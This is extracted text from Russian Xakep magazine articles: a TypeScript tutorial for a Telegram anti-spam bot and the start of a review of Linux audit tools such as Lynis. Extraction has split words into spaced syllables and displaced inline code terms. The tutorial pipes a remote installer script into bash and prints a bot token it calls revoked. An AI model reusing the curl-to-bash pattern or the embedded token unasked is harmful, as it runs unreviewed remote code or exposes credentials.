Впро чем,  судя  по  отзы вам,  обла дате лям  более  про изво дитель‐ 
ных машин уда валось запус тить на Virtual x86 игры того вре мени. Ну
а я, пожалуй, еще нем ного погоняю в «Сапера»!

mailto:apismenny@gmail.com
https://github.com/oscarmorrison/md-page
https://xakep.ru/2017/08/08/lektor-get-started/
https://github.com/oscarmorrison/md-page
http://asciinema.org/
https://xakep.ru/2018/05/25/www-asciicasts/
https://github.com/nbedos/termtosvg
https://nbedos.github.io/termtosvg/pages/templates.html
https://github.com/nbedos/termtosvg/blob/develop/man/termtosvg.md
https://github.com/felixrieseberg/windows95
https://electronjs.org/
https://copy.sh/v86/
https://xakep.ru/2017/02/10/www-top5-browser-emulators/
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КОДИНГ

К  тебе  в  уют ный  и  лам повый  чат  заходит  непонят ный
и никому не извес тный человек. Ты при ветс тву ешь его, но он
угрю мо  мол чит.  Толь ко  ты  успе ваешь  мыс ленно  оправдать
его  поведе ние,  как  он  под ло  кида ет  рек ламу  оче ред ной
мошен ничес кой крип товалют ной груп пы. Зна комо? Сегод ня
мы закодим и запус тим в про дак шен собс твен ное решение,
которое положит конец гнус ным спа мерам!

Ме ня  зовут  Никита,  и  я  прог раммист:  зараба тываю  прог рамми рова нием
на  хлеб  насущ ный  и  в  сво бод ное  вре мя  пишу  раз ного  рода  инс тру мен ты,
которые  упро щают  жизнь  поль зовате лям  интерне та.  Некото рые  ты,  воз‐ 
можно,  исполь зуешь.  Один  из  моих  самых  популяр ных  про дук тов  —
это  ,  бес плат ный бот  для  «Телег рама»,  который  прос то  перево дит
ауди осооб щения в  текст. На момент написа ния статьи им поль зует ся более
полумил лиона  чатов,  а  одних  толь ко  голосо вых  сооб щений  через  него  про‐ 
ходит более 40 тысяч в сут ки.

@voicybot

На самом деле соз дать чат‐бота для Telegram с име ющи мися инс тру мен‐ 
тами  ста ло  мак сималь но  прос то,  что  я  и  собира юсь  про демонс три ровать
в этой статье. Бук валь но за пол часа мы с  тобой напишем дос таточ но слож‐ 
ного  антиспам‐бота  на Node.js  с  исполь зовани ем  TypeScript  3  и  хра нени ем
записей в MongoDB, а пос ле закинем его на Digital Ocean и нас тро им быс‐ 
трый и бес плат ный CI  на осно ве прос тых  веб‐хуков GitHub. Конеч но, мож но
было  бы  раз вернуть  все  и  на  «Докере»,  но,  думаю,  нович кам  в  прог рамми‐ 
рова нии слож нее раз бирать ся с этой маги ей. Сегод ня толь ко олд скул!

Нас трой ка окру жения
Хоть в статье я и буду исполь зовать мой вер ный «Мак», на дру гих плат формах
все при мер но так же, за исклю чени ем некото рых нас тро ек и про цес са уста‐ 
нов ки  прог рамм  и  ути лит.  Если  у  тебя  воз никнут  проб лемы  с  уста нов кой,
можешь свя зать ся со мной   — поп робую помочь.в Telegram

В  качес тве  IDE  (или  тек сто вого  редак тора,  смот ря  какого  лагеря  это го
холива ра  при дер живать ся)  я  вос поль зуюсь  .  Хра нить  код  буду
на  .  Ска чай  и  уста нови  себе  VSCode,  а  затем  зарегис три руй ся
на GitHub.

VSCode
GitHub

Пер вым  делом  сто ит  уста новить  то,  на  чем  мы  будем  писать  про ект, —
Node.js.  Мож но  стя нуть  инстал лятор  c  ,  но  я  край не
рекомен дую  исполь зовать  NVM  —  менед жер  вер сий  для  Node.js,  который
поз воля ет  не  толь ко  уста новить  раз ные  вер сии,  но  и  перек лючать ся  меж ду
ними.  Уста новить  его  мож но  из    сле дующей
коман дой:

офи циаль ного  сай та

офи циаль ного  репози тория

$ curl ‐o‐ https://raw.githubusercontent.com/creationix/nvm/v0.33.11/
install.sh | bash

Со ветую  исполь зовать  наибо лее  акту аль ную  коман ду  из  репози тория
Readme.  Не  забудь  переза пус тить  тер минал  пос ле  уста нов ки  NVM.  Пос ле
сто ит уста новить сам Node.js. У меня один надца тая вер сия, но все пос леду‐ 
ющие, в прин ципе, дол жны работать при мер но так же. Уста новим пос леднюю
вер сию «Ноды»:

$ nvm install node

Ес ли пос ле выпол нения   тер минал выда ет пап ку, то все прош ло
успешно.  Вмес те  с Node.js  ста вит ся  и менед жер  пакетов NPM,  который мы
заменим на более быс трый  . Про пиши сле дующую коман ду, что бы уста‐ 
новить его:

$ which node

yarn

$ npm install ‐g yarn

Без  опций    и    добав ляют  и  уста нав лива ют  пакеты  в  откры тую  пап ку
про екта.  Одна ко  если  к    добавить  флаг  ,  то  пакет  уста новит ся  пря мо
в сис тему (на самом деле в поль зовате ля — но углублять ся не будем) и будет
дос тупен  как  отдель ное  при ложе ние.  Таким  обра зом,  мы  уста нови ли 
отдель ным  при ложе нием  и  уже  будем  исполь зовать  его.  Вре мя  зас тавить

  уста новить TypeScript  3  гло баль но! Дела ется  это не фла гом,  а отдель‐ 
ным аргу мен том при вызове:

npm yarn
npm ‐g

yarn

yarn

$ yarn global add typescript

Од на  коман да — и  у  тебя  в  сис теме  теперь  есть  TypeScript.  Вся мощь Unix
на кон чиках паль цев!

Пос ледний  кусочек  паз ла  —  это  база  дан ных  MongoDB,  которую  мы
и  будем  исполь зовать  для  это го  про екта.  MongoDB  —  база  дан ных  типа
NoSQL,  что  озна чает  отсутс твие  оче вид ных  свя зей  меж ду  таб лицами
при помощи связ ных таб лиц (или join tables), но зато дает упро щен ную струк‐ 
туру дан ных в читабель ном виде и прос тей шие миг рации. Челове чес ким язы‐ 
ком: эффектив ных свя зей меж ду объ екта ми быть не может, но раз рабаты вать
про ще.

Про ще  все го  уста новить MongoDB  с  .  Раз работ чики
будут вся чес ки пытать ся про дать тебе собс твен ное хра нили ще базы дан ных
(БД)  в  обла ке  —  не  ведись  на  про вока ции.  Все  хра нили ща  БД  в  обла ках
дешевые  толь ко  до  пер вых  10  тысяч  поль зовате лей,  даль ше  тебя  нач нут
разорять. Мы  под нимем  собс твен ное  обла ко  для  БД  с  блек‐дже ком  и  про‐ 
чими атри бута ми. Так же есть и   по уста нов ке MongoDB
на «Мак» через тер минал — имен но это я и советую сде лать. Заод но и 

 себе пос тавь, лиш ним точ но не будет.

офи циаль ного  сай та

офи циаль ный тутори ал
home‐

brew
На этот момент у тебя дол жны быть уста нов лены:
Node.js;•
Yarn;•
TypeScript;•
MongoDB.•

Ес ли  все  уста нов лено  и  работа ет,  сме ло  про дол жай  читать  тутори ал.  Если
что‐то не получи лось, даль ше будет слиш ком тяж ко, луч ше поп равить сей час.

Тест‑драйв
Ти пич ная вещь, с которой нуж но начинать писать любой про ект. Давай про‐ 
хел лоувор лдим  наш  тех нологи чес кий  стек  (или  его  часть)  до  начала  реаль‐ 
ного кодин га — что бы понять, все ли работа ет.

Соз дай в любом мес те у себя на компь юте ре (у меня есть удоб ная папоч ка
,  где  я  дер жу  все  про екты)  пап ку    и  зай ди  в  нее  в  тер‐ 

минале. В пап ке про екта про пиши
~/code shieldy_bot

$ yarn init

Эта  коман да  задаст  тебе  ряд  воп росов  и  соз даст  про ект  вмес те  с фай лом
  —  это  тот  самый  мас тер‐файл,  на  который  будет  смот реть

Node.js  при  запус ке  про екта. Обя затель но  ука жи    в  качес тве
 (точ ки вхо да) — чуть поз же я рас ска жу зачем.

package.json
dist/index.js

entry point

Та ким обра зом я нас тро ил свой про ект

Соз дай файл   в пап ке   в пап ке про екта. Внут ри про пиши лишь
одну стро ку:  . В файл    добавь
скрипт   вида  .

index.js dist
console.log('Hello world!') package.json

start node dist/index.js

При мер но так дол жен выг лядеть про ект

INFO

Здесь и далее: коман ды Unix дол жны выпол нять ся
в пап ке про екта, если не ска зано ина че.

Впе ред: запус ти коман ду  , и ты дол жен уви деть 
в  сво ей  кон соли.  Если  так  и  про изош ло —  успех,  Node.js  работа ет!  Теперь
про верим TypeScript. Но сна чала уста новим его пря мо в про ект.

$ yarn start Hello world!

$ yarn add typescript

Пос ле  добав ления  TypeScript  пря мо  в  про ект  будет  исполь зовать ся  имен но
он,  а  не  тот,  что  уста нов лен  в  сис теме.  TypeScript  не  запус кает ся  нап рямую
«Нодой»,  он  сна чала  ком пилиру ется  в  JavaScript,  а  потом  ком пилиро ван ный
код и запус кает ся при помощи Node.js. В нашем про екте мы будем хра нить
и  писать  наш  код  TypeScript  в  пап ке  ,  а  ком пилиро вать ся  и  запус кать ся
JavaScript будет в пап ке  . Что бы    (тул за — ком пилятор из TypeScript
в JavaScript) работа ла пра виль но, ее нуж но нас тро ить. Добавь в корень про‐ 
екта файл   со сле дующим содер жани ем:

src
dist tsc

tsconfig.json

{
 "compilerOptions": {
   "module": "commonjs",
   "target": "es2017",
   "lib": ["es2015"],
   "moduleResolution": "node",
   "sourceMap": true,
   "outDir": "dist",
   "baseUrl": ".",
   "paths": {
     "*": ["node_modules/*", "src/types/*"]
   }
 },
 "include": ["src/**/*"]

}

Вда вать ся  в  под робнос ти,  что  это  за  файл  и  как  он  работа ет,  я  не  буду:
это  задача  вне  текуще го  руководс тва.  Сто ит  лишь  отме тить,  что  мы  берем
TypeScript‐фай лы из  , кон верти руем в стан дарт   и кла дем в папоч ку

.
src es2017

dist
Пос ле  уда ляем  пап ку    —  она  теперь  дол жна  генери ровать ся  сама.

Добав ляем пап ку   и кла дем туда уже   с содер жани ем 
  (   —  это  рас ширение  фай лов  TypeScript).

В прин ципе, любой рабочий JavaScript  (JS) — это еще и рабочий TypeScript
(TS), так как TS — это надс трой ка над JS.

dist
src index.ts console.

log('Жизнь  за  Харамби') ts

Так же сто ит отме тить, что TS — это типизи рован ный язык, в отли чие от JS.
Но так как мно жес тво пакетов было изна чаль но написа но на JS, сооб щес тво
начало  допол нять  уже  сущес тву ющие  про екты  информа цией  о  типах
в репози тории  , отку да все раз работ чики заимс тву ют типы. Так
и мы сде лаем для  «Ноды» — выпол ним коман ду  .
Если все было пра виль но, твой про ект дол жен походить на сле дующий скрин.

Definitely Typed
$ yarn add @types/node

До бави ли шаг ком пиляции TS

Те перь перед каж дым запус ком   тебе нуж но запус кать коман ду
, что бы ком пилиро вать код TS в JS. К сло ву, мож но еще и исполь зовать

. Флаг    зас тавит   переком пилиро вать фай лы,  которые изме‐ 
няют ся, при их сох ранении. Удоб но! Но еще удоб нее будет поменять коман ду

 из   на   — тог да каж дый раз
при запус ке   будет запус кать ся и  .

$ yarn start
$ tsc
$ tsc ‐w ‐w tsc

start package.json tsc && node dist/index.js
$ yarn start tsc

За пус ти  , пред варитель но добавив или запус тив   вруч‐ 
ную. Ты дол жен уви деть вып люнутую кон солью стро ку «Жизнь за Харам би».

$ yarn start $ tsc

Ес ли  все  получи лось,  то  поз драв ляю:  ты  нас тро ил  окру жение  для  раз‐ 
работ ки и теперь зна ешь, что TypeScript работа ет. Теперь нас тро им кон троль
вер сий!

Git
Наш механизм Continuous  Integration (CI) будет осно ван на веб‐хуках GitHub.
Запушил в репози торий — и код сра зу же раз вернул ся на сер вере в про дак‐ 
шене. Поэто му никак нель зя обой ти сто роной кон троль вер сий.

Лю бой  кон троль  вер сий  начина ется  с  пра виль ного  игно риро вания  фай‐ 
лов.  Добавь  в  кор не  про екта  файл  с  наз вани ем    и  сле дующим
содер жани ем:

.gitignore

node_modules
dist
.env

Это поз волит избе жать  ком митов с пакета ми из NPM  (в иде але они дол жны
уста нав ливать ся теми, кто кача ет репози торий с кодом), ском пилиро ван ным
кодом (он дол жен ком пилиро вать ся тем, кто кача ет репози торий) и перемен‐ 
ными  окру жения,  куда  мы  добавим  раз ного  рода  информа цию,  наподо бие
мес тонахож дения нашей БД. Информа ция из   не дол жна ни в коем слу‐ 
чае попасть на GitHub, а в зависи мос ти от окру жения (раз работ ка, тес товый
или боевой сер вер) дол жна отли чать ся.

.env

Те перь  ини циали зиру ем  репози торий Git,  добавим  все фай лы  в  сис тему
кон тро ля вер сий и заком митим их сле дующи ми коман дами:

$ git init
$ git add .
$ git commit ‐m "Initial commit"

Ду маю, на этом с кон тро лем вер сий и закон чим — глав ное, не забывай, что
в  слу чае  пожара  дела ем  ,  ,  .  Так же  сто ит  отме тить,  что,  хоть
к  «Гиту»  мы  вер немся  толь ко  бли же  к  кон цу  статьи,  сме ло  делай 
и   на свое усмотре ние.

add commit push
commit

push

Пи шем бота‑авто ответчик
Для начала нуж но  убе дить ся,  что мы можем написать  прос тей шего бота, —
что бы пос ле про дол жить с более слож ным кон цептом. Пер вый шаг соз дания
любого  бота  для  «Телег рама»  —  это  обще ние  с    —  отцом  всех
ботов. Пос ле пары‐трой ки нес ложных манипу ляций  (уве рен,  ты спра вишь ся)
ты получишь токен бота в сле дующем виде:

@botfather

771096498:AAHZOrCZZpdDu1boI6hwf_m3PSYWXKK660M

Ес ли  что,  этот  токен  уже  не  акту ален,  так  что  все  же  сде лай  свой.  Мы  его
добавим в файл  , который теперь дол жен выг лядеть так:.env

TOKEN=771096498:AAHZOrCZZpdDu1boI6hwf_m3PSYWXKK660M

 — это файл для перемен ных окру жения. Так как мы добави ли его в 
, он не толь ко не будет заг ружен на GitHub, но еще и не будет дос тупен

людям  и  сер висам,  которые  захотят  кло ниро вать  репози торий.  Более  того,
кон троль вер сий его вооб ще видеть не будет, так что на раз ных сер верах (и
даже прос то в раз ных пап ках) ты всег да смо жешь ука зать раз ные фай лы  .
Нап ример, для тес тового сер вера и боево го.

.env git‐
ignore

.env

Что бы  заполу чить  дос туп  к  перемен ным  из  это го  фай ла,  нам  нуж но
добавить  свой  пер вый  пакет  зависи мос тей.  Про пиши  в  тер минале  сле‐ 
дующее:

$ yarn add dotenv @types/dotenv

Те перь у тебя в про екте уста нов лен модуль   с его типами. Сто ит отме‐ 
тить, что сра зу нес коль ко пакетов мож но уста нав ливать, ука зав их через про‐ 
бел коман де  . Так же типы из Definitely Typed не обя затель но ста‐ 
вить для каж дого пакета зависи мос тей — велика веро ятность, что пакеты уже
будут идти со сво ими типами, про писан ными раз работ чиками. Все‐таки Type‐
Script уже дав но на рын ке и успел пон равить ся мно гим.

dotenv

$ yarn add

Пе репи шем наш   сле дующим обра зом:index.ts

// Зависимости
import * as dotenv from 'dotenv'
// Настраиваем dotenv
dotenv.config({ path: `${__dirname}/../.env` })
// Принтим токен
console.log(process.env.TOKEN)

INFO

Здесь  и  далее  я  под разуме ваю,  что  ты  запус‐ 
каешь  и  тес тиру ешь  свой  код,  сна чала  ском‐ 
пилиро вав  его  при  помощи  коман ды  ,
а потом запус тив с  .

$  tsc
$ yarn start

Пос ле запус ка твоя кон соль дол жна выдать такую строч ку:

771096498:AAHZOrCZZpdDu1boI6hwf_m3PSYWXKK660M

Ес ли это так,  то все в ажу ре — перехо дим к непос редс твен ному написа нию
бота.  Исполь зовать  мы  будем  биб лиоте ку  ,  она  на  дан ный  момент
самая  прод винутая.  Пос тавим  ее  коман дой   —  типы
ста вить не нуж но, они идут в пакете с основным кодом.

Telegraf
$  yarn  add  telegraf

Из меним наш   на что‐то такое:index.ts

// Зависимости
import * as dotenv from 'dotenv'
import { Telegraf, ContextMessageUpdate } from 'telegraf'
const telegraf = require('telegraf')
// Настраиваем dotenv
dotenv.config({ path: `${__dirname}/../.env` })
// Создаем бота
const bot: Telegraf<ContextMessageUpdate> = new telegraf(process.env.
TOKEN)
// Отвечаем тем же текстом, что и был прислан
bot.on('text', ctx => {
 ctx.reply(ctx.message.text)

})
// Включаем бота
bot.startPolling()

Да вай раз берем код и пос мотрим, что же он дела ет.
1. Им порти руем все зависи мос ти, с которы ми будем работать. Здесь важ но
отме тить, что из‐за неидеаль нос ти типов Telegraf нам при ходит ся не толь‐ 
ко  импорти ровать  допол нитель ный  тип  ,  но  и
сам    импорти ровать  олд скуль ным  ,  поэто му  нам  при‐ 
ходит ся  руч ками  про писы вать  тип  у  перемен ной  .  Обыч но  TypeScript
уга дыва ет типы авто мати чес ки.

ContextMessageUpdate

telegraf require

bot

2. Им порти руем  все  перемен ные  из  фай ла  ,  что бы  мож но  было  их
исполь зовать в фор мате  .

.env

process.env.*имя переменной*

3. Соз даем  объ ект  самого  бота,  который  и  будет  отве чать  на  наши  сооб‐ 
щения, исполь зуя токен из  ..env

4. При  помощи  встро енно го  син такси са  Telegraf  мы  говорим  боту:  ког да
получа ешь сооб щение тек стом, ответь тем же тек стом поль зовате лю.

5. Вклю чаем  бота,  что бы  тот  вре мя  от  вре мени  про верял  сер вер  «Телег‐ 
рама» на пред мет новых сооб щений.

За пус тив  этот  код,  ты  получишь  рабоче го  бота,  который  уме ет…  пока  что
толь ко перед разни вать поль зовате ля.

По доб ный бот у тебя дол жен был получить ся

Даль ше я не ста ну при водить длин ные вык ладки кода: прос то буду говорить,
куда и что добав лять. Поэто му будь вни мате лен!

Ро бот‑вышиба ла
Идея, которую мы реали зуем, очень прос та: ког да человек заходит в чат, бот
ему говорит, что у него 60 секунд, что бы что угод но написать в чат — хоть сти‐ 
кер,  хоть  коман ду,  хоть  фоточ ку.  Если  человек  в  течение  минуты  ничего
не прис лал, то мы кика ем его из груп пы.

По ка  что  не  будем  замора чивать ся  с  переза пус ком  бота  и  сох ранени ем
сос тояний, прос то будем дер жать спи сок кан дидатов на бан в памяти, а каж‐ 
дую секун ду про верять, не нуж но ли кого‐то забанить.

Где‐нибудь ввер ху добавь перемен ную   со сле дующей сиг натурой:chats

const chats = {} as {
 [index: number]: { id: number; time: number }[]

}

Эта  басур ман ская  вязь — объ явле ние  типа  объ екта  до  его  непос редс твен‐ 
ного исполь зования. У нас будет объ ект иден тифика торов чатов к спис ку кан‐ 
дидатов на бан в этом чате. У каж дого кан дидата на бан будет иден тифика тор
от «Телег рама» и вре мя, ког да он зашел. Конеч но, чище будет исполь зовать
интерфей сы — но это поз же.

Те перь  дело  в шля пе — нуж но  прос то  смот реть,  как  люди  заходят  в  чат,
добав лять  их  в  спи сок  кан дидатов  на  бан,  уби рать,  если будет  замече на  их
активность в этом чате, и банить кан дидатов‐мол чунов. Не забудь убрать блок
кода, который зас тавля ет бота отве чать тем же сооб щени ем поль зовате лям,
и допиши сле дующие коман ды:

// Добавляем в кандидаты по приходу
bot.on('new_chat_members', ctx => {
 for (const member of ctx.message.new_chat_members) {
   addCandidate(ctx.chat.id, member.id)
   ctx.reply('Пожалуйста, пришлите любое сообщение в этот чат в 
течение 60 секунд, или вы будете забанены')
 }

})
// Удаляем из кандидатов по активности
bot.on('message', ctx => {
 removeCandidate(ctx.chat.id, ctx.from.id)

})

Объ ект   (от сло ва context) — это очень важ ная шту ка, в которой есть вся
зна чимая  для  тебя  информа ция.  Нам  нужен  спи сок  новоп рибыв ших,  иден‐ 
тифика тор чата и иден тифика тор поль зовате ля, который прис лал сооб щение.
Как ты уже мог догадать ся, мы добав ляем импле мен тацию фун кций 

 и  .

ctx

addCan‐
didate removeCandidate

// Добавляем кандидата
function addCandidate(chatId, candidateId) {
 const candidate = {
   id: candidateId,
   time: new Date().getTime(),
 }
 let candidates = chats[chatId]
 if (candidates) {
   candidates.push(candidate)
 } else {
   candidates = [candidate]
 }
 chats[chatId] = candidates

}
// Убираем кандидата
function removeCandidate(chatId, candidateId) {
 let candidates = chats[chatId]
 if (!candidates) return
 chats[chatId] = candidates.filter(candidate => candidate.id !== 

candidateId)
}

В прин ципе, здесь все прос то — как толь ко человек при ходит в чат, мы соз‐ 
даем  ему  объ ект  кан дидата  с  его  иден тифика тором  и  вре менем,  ког да  он
при шел.  Пос ле  мы  либо  дос таем  сущес тву ющий  мас сив  кан дидатов
для опре делен ного чата и добав ляем туда нашего кан дидата, либо соз даем
новый мас сив сра зу же с кан дидатом — а пос ле воз вра щаем новый мас сив
в объ ект иден тифика торов чата к кан дидатам.

Уби рать  кан дидатов  еще  про ще  —  мы  получа ем  спи сок  кан дидатов
для чата. Если его нет — все хорошо, кан дидата и уби рать не надо. Если есть,
то мы филь тру ем мас сив кан дидатов.

Пос ле нам оста ется лишь добавить  тай мер,  который раз в секун ду будет
про верять, не нуж но ли кого‐нибудь сно ва забанить. Добав ляем сле дующий
код:

// Проверяем, нужно ли банить
setInterval(() => {
 for (const chatId in chats) {
   const candidates = chats[chatId]
   if (!candidates.length) continue
   const now = new Date().getTime()
   for (const candidate of candidates) {
     if (candidate.time < now ‐ 60 * 1000) {
       const telegram = bot.telegram as any
       telegram.kickChatMember(chatId, candidate.id)
       removeCandidate(chatId, candidate.id)
     }
   }
 }

}, 1000)

Каж дую  секун ду мы  запус каем  эту фун кцию. Она  про ходит ся  по  всем  иден‐ 
тифика торам чатов из нашего объ екта чатов с кан дидата ми. Если кан дидатов
нет, то прос то про пус кает этот чат. Ина че — про ходит ся по всем кан дидатам
и све ряет, не зашел ли кто‐то из них более 60 секунд назад. Если это так, то
банит и уби рает из спис ка кан дидатов.

Вот и все — можешь запус кать бота, добав лять его в любой чат с админ‐ 
ски ми пра вами и забыть про спа меров!
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АДМИН

В этом матери але мы поз накомим ся с основны ми ути лита ми
для Linux hardening. На рус ском язы ке это называ ется как‐то
вро де  «про вер ка  уров ня  защищен ности  Linux‐сис тем
и  оцен ка  кор рек тнос ти  кон фигов  с  точ ки  зре ния  ИБ».
Разуме ется,  мы  не  толь ко  сде лаем  обзор  прог рамм,  но  и
при ведем при меры их исполь зования.

САМ СЕБЕ АУДИТОР, ИЛИ БЕЗОПАСНОСТЬ СОБСТВЕННЫМИ
СИЛАМИ
Пе ред адми нис тра тора ми, а уж тем более перед ауди тора ми ИБ час то вста ют
задачи  про верить  защищен ность  боль шого  количес тва  хос тов  за  очень
корот кое  вре мя.  И  конеч но,  для  решения  этих  задач  в  Enterprise‐сег менте
сущес тву ют спе циали зиро ван ные инс тру мен ты, к при меру такие, как 

. Уве рен, что все они — от open sources движ ка 
  до  ком мерчес ких  про дук тов  типа    или    —  извес тны

нашему читате лю. Одна ко этот софт обыч но исполь зует ся, что бы искать уста‐ 
рев шее и потому уяз вимое ПО и затем запус тить  . К тому же
не  все  ска неры  учи тыва ют  некото рые  спе цифи чес кие  осо бен ности  встро‐ 
енных  механиз мов  защиты  Linux  и  дру гих  open  sources  про дук тов.  Ну  и  не
в  пос леднюю  оче редь  зна чение  име ет  цена  воп роса,  ведь  ком мерчес кие
про дук ты  в  сос тоянии  поз волить  себе  раз ве  что  ком пании,  выделя ющие
под это дело бюд жеты.

се тевые
ска неры безопас ности Open‐
VAS Nessus Nexpose

патч‐менед жмент

Имен но поэто му сегод ня речь пой дет о спе циали зиро ван ном наборе сво‐ 
бод но  рас простра няемых  ути лит,  которые  могут  диаг ности ровать  текущий
уро вень  защищен ности  сис темы,  оце нить  потен циаль ные  рис ки,  к  при меру
«лиш ние сер висы», тор чащие в интернет, или небезо пас ный кон фиг по умол‐ 
чанию,  и  даже  пред ложить  вари анты  исправ ления  най ден ных  недос татков.
Еще одно пре иму щес тво исполь зования этих тулз зак люча ется в воз можнос‐ 
ти  тиражи ровать  типовые  сце нарии  про вер ки фер мы  из  любого  количес тва
Linux‐сис тем  и  фор мировать  докумен таль но  под твержден ную  базу  тес тов
в виде логов и отдель ных репор тов.

ПРАКТИЧЕСКИЕ АСПЕКТЫ АУДИТА ЗАЩИЩЕННОСТИ
Ес ли  пос мотреть  гла зами  ауди тора,  то  под ход  к  тес тирова нию  мож но  раз‐ 
делить на два типа.

  —  это  соот ветс твие  так  называ емым  ,
здесь  про веря ется  наличие  обя затель ных  эле мен тов  защиты,  про писан ных
в  каком‐либо  меж дународ ном  стан дарте  или  «best  practice».  Клас сичес кий
при мер — тре бова ния PCI DSS для пла теж ных ИТ‐сис тем,  , 

,  .

Пер вый compliance‐тре бова ниям

SOX404 NIST‐800
series MITRE

 — это  сугубо раци ональ ный под ход,  осно ван ный на  воп росе  «А
что еще мож но сде лать,  что бы уси лить защищен ность?». Тут нет обя затель‐ 
ных тре бова ний — толь ко твои зна ния, свет лая голова и уме лые руки. К при‐ 
меру,  это  обновле ние  вер сии  ядра  и/или  пакетов  при ложе ний,  вклю чение

, фор сирова ние  , нас трой ка фай рво ла  .

Вто рой

шиф рования томов SELinux iptables
Все,  что  отно сит ся  ко  вто рому  под ходу,  при нято  называть  спе циаль ным

тер мином  , что еще мож но опре делить как «дей ствия, нап равлен‐ 
ные  на  уси ление  уров ня  исходной  защищен ности  опе раци онной  сис темы
(или прог раммы) пре иму щес твен но штат ными средс тва ми».

Hardening

Со ответс твие compliance‐тре бова ниям, как пра вило, про веря ют при под‐ 
готов ке к про хож дению обя затель ного ауди та типа   или дру гого сер‐ 
тифика цион ного  ауди та.  Мы  же  боль ше  уде лим  вни мание  Hardening‐сос‐ 
тавля ющей. Все круп ные раз работ чики пред лага ют для сво их про дук тов 

  —  руководс тва,  содер жащие  советы  и  рекомен дации,
как  уси лить  защищен ность,  учи тывая  штат ные  механиз мы  безопас ности
и  спе цифи ку  соф та.  Так,  подоб ные  руководс тва  есть  у  ,  ,

,  .

PCI DSS

Hard‐
ening  Guidelines

Red  Hat Debian
Oracle Cisco

INFO

Hardening  —  это  тер мин  из  мира  ИБ,  который
обоз нача ет  про цесс  обес печения  безопас ности
сис темы  (прог раммы)  за  счет  сни жения  ее  уяз‐ 
вимос ти и, как пра вило, с исполь зовани ем толь ко
штат ных ути лит или механиз мов защиты.

Кста ти,  на  Хакере  уже  была    про  нас трой ку  опций  Hardening,
но тог да речь шла имен но о нас трой ке. Мы же сна чала почека ем нашу сис‐ 
тему  с  помощью  спе циаль ных  ути лит,  то  есть  про ведем  аудит  ИБ,  оце ним
текущий  уро вень  защиты,  а  потом  уже  нак рутим  туда  security  option,  если
необ ходимо. Ну или еще как вари ант: если сер вер уже оттю нин гован с точ ки
зре ния безопас ности, наши тул зы смо гут это про верить и, воз можно, под ска‐ 
зать, что же мож но сде лать еще.

схо жая  статья

ОБЗОР ИНСТРУМЕНТОВ
1. Lynis — auditing, system hardening, compliance testing

 — пер вая в нашем спис ке инс тру мен тов и, пожалуй, самая наворо чен‐ 
ная  тул за  для  ауди та  Linux‐сис тем.  При  этом  она  очень  прос тая  в  исполь‐ 
зовании и очень наг лядная — все тес ты и их резуль таты выводят ся на экран.
Ути лита  ска ниру ет  нас трой ки  текуще го  уров ня  безопас ности  и  опре деля ет
сос тояние  защищен ности  (hardening  state)  машины.  Най ден ные  тре вож ные
сиг налы  и  важ ные  алер ты  безопас ности  выводят ся  в  кон соль  тер минала
и  отдель но  в  лог‐файл,  сгруп пирован ные  по  бло кам.  Кро ме  све дений
о безопас ности, Lynis так же поможет получить обще сис темную информа цию,
информа цию об уста нов ленных пакетах и воз можных ошиб ках кон фигура ции,
обновле ниях ядра.

Lynis

Раз работ чиками заяв лена под дер жка огромно го чис ла опе раци онных сис‐ 
тем: от Arch, BackTrack, Kali до раз новид ностей Debian/Ubuntu, RHEL/CentOS,
SuSE, BSD‐семей ства (FreeBSD, NetBSD, OpenBSD, DragonFly BSD), а так же
более экзо тич ных HPUX, Solaris 10+, TrueOS и macOS.

Вся  докумен тация  с  более  под робным  опи сани ем  и  при мера ми  исполь‐ 
зования  дос тупна  в  раз деле    на  офи циаль ном  сай те
CISOfy.  Если  не  хочешь  огра ничи вать ся  пред лага емы ми  тес тами,  есть  воз‐ 
можность раз работ ки собс твен ных. Более под робно об этом написа но в раз‐ 
деле  . Ну и для тех, кто еще сом нева ется, уста‐ 
нав ливать  или  нет  ути литу,  раз работ чики  под готови ли  неболь шое  ,
пояс няющее, как про исхо дит уста нов ка и пер вичный запуск.

Lynis  Documentation

Lynis Software Development Kit
demo

Кро ме бес плат ной  вер сии,  которую мы и будем  чуть  ниже исполь зовать,
раз работ чики пред лага ют решение  . В  этом  слу чае  к  стан‐ 
дар тной  пос тавке  добав ляет ся  веб‐интерфейс  для  адми нис три рова ния,
опци ональ ные даш борды, допол нитель ная докумен тация (hardening snippets)
и раз верну тый план кор ректи ров ки выяв ленных наруше ний. И это еще не все,
дан ное решение ко все му про чему мож но получить в виде облачно го сер виса
(Software‐as‐a‐Service).

Enterprise‐уров ня

Logo CISOfy

Lynis  выпол няет  сот ни  отдель ных  тес тов,  что бы  опре делить  сос тояние
защищен ности  сис темы.  Сама  про вер ка  защищен ности  зак люча ется
в  выпол нении  набора  шагов  от  ини циали зации  прог раммы  до  генера ции
отче та.

Пос коль ку  Lynis  весь ма  гиб кий  и  мно гоп рофиль ный  инс тру мент,  она
исполь зует ся  для  раз личных  целей.  К  при меру,  типовые  вари анты  исполь‐ 
зования Lynis вклю чают:

аудит безопас ности (типовой сце нарий, задава емый поль зовате лем);•
тес тирова ние  на  соот ветс твие  тре бова ниям  (нап ример,  PCI  DSS,  HIPAA,
SOX404, OpenSCAP, NSA);

•

об наруже ние уяз вимос тей (уста рев шее ПО);•
ре жим Penetration testing (попыт ка эска лации при виле гий);•
улуч шение сис темы (незадей ство ван ные тви ки ядра, демонов и про чего).•

Ус тановить  ути литу  мож но  нес коль кими  спо соба ми  —  как  с  помощью  заг‐ 
рузки из хра нили ща GitHub:

git clone https://github.com/CISOfy/lynis
cd lynis
./lynis

так и уста нов кой из репози тория  :Debian/Ubuntu

sudo apt‐get update
sudo apt‐get install lynis

И для RPM‐ори енти рован ных дис три бути вов (пред варитель но добавив соот‐ 
ветс тву ющие репози тории):

yum install linus ‐y

Ус танов ка на macOS:

$ brew search lynis
$ brew install lynis

Что бы  запус тить  Lynis,  дос таточ но  ука зать  хотя  бы  один  ключ.  К  при меру,
для запус ка всех име ющих ся тес тов сле дует ука зать ключ    (check all, про‐ 
верить все):

‐c

# Типовой набор тестов
sudo lynis audit system
# Полный набор тестов
sudo lynis audit system ‐c
# Сканирование удаленного хоста
audit system remote <host>

Ини циали зация тес тов

Ре зуль таты тес тов из груп пы System Tool and Boot & Services

Ре зуль таты тес тов из груп пы Kernel and Memory & Process auditing

Ре зуль таты тес тов из груп пы User and Group & Authentication

Пе ред ауди том всег да полез но про верить, дос тупна ли новая вер сия Lynis:

lynis update info && lynis update check

У ути литы Lynis,  помимо стан дар тно го, сущес тву ет еще один режим — 
:

неп- 

